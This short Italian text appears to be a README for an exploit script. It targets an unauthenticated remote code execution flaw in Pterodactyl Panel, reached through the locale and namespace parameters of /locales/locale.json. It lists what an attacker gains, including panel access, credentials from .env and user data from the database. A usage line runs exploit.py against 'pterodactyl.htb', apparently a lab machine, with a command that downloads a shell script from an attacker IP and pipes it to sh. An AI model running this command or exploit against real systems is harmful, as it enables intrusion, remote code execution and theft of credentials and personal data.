
Impatto
Utilizzando il file /locales/locale.json con i parametri di query locale e namespace, un attore malintenzionato è in grado di eseguire codice arbitrario, senza essere autenticato.
Con la capacità di eseguire codice arbitrario, questa vulnerabilità può essere sfruttata in un numero infinito di modi. Potrebbe essere utilizzata per ottenere accesso al server del Pannello, leggere le credenziali dalla configurazione del Pannello (.env o altro), estrarre informazioni sensibili dal database (come dettagli degli utenti [nome utente, email, nome e cognome, password hashata, indirizzi IP, ecc.]), accedere ai file dei server gestiti dal pannello, ecc.
Come usare
python exploit.py --target "pterodactyl.htb" --cmd 'curl http://10.10.14.22:8080/dbs.sh | sh'